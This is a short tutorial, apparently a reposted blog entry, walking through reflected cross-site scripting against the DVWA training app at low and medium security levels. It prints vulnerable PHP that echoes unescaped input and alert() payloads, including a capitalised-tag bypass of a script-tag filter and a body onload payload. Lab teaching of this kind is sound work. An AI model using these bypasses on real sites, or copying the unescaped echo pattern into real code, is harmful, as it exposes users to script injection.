天天看点

Penetration Test - Select Your Attacks(11)

Cross-Site Scripting Demo

Given a scenario, exploit application-based vulnerabilities.

Test Environment: DVWA

Case 1 - Security Level: Low
Penetration Test - Select Your Attacks(11)

View the source code below.

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?> 
           
Penetration Test - Select Your Attacks(11)

Test the following XSS scripts.

Eric <script>alert("XSS")</script>
           
Case 2 - Security Level: Medium
Penetration Test - Select Your Attacks(11)

Let's test the following XSS scripts again.

Eric <script>alert("XSS")</script>
           

But it doesn't work this time.

Penetration Test - Select Your Attacks(11)

So let's view the source code.

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 
           
Penetration Test - Select Your Attacks(11)

Then we try to modify the test XSS script.

Eric | <Script>alert("XSS")</Script>
           

It works again!

Penetration Test - Select Your Attacks(11)
Eric <body onload=alert("XSS")>
           
Quick Review
  • XSS can allow an attacker to run almost any script code
  • If successful, XSS attacks can compromise many client computers and devices
  • Compromise can include remote control, data exfiltration, and set up for further attacks.

相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。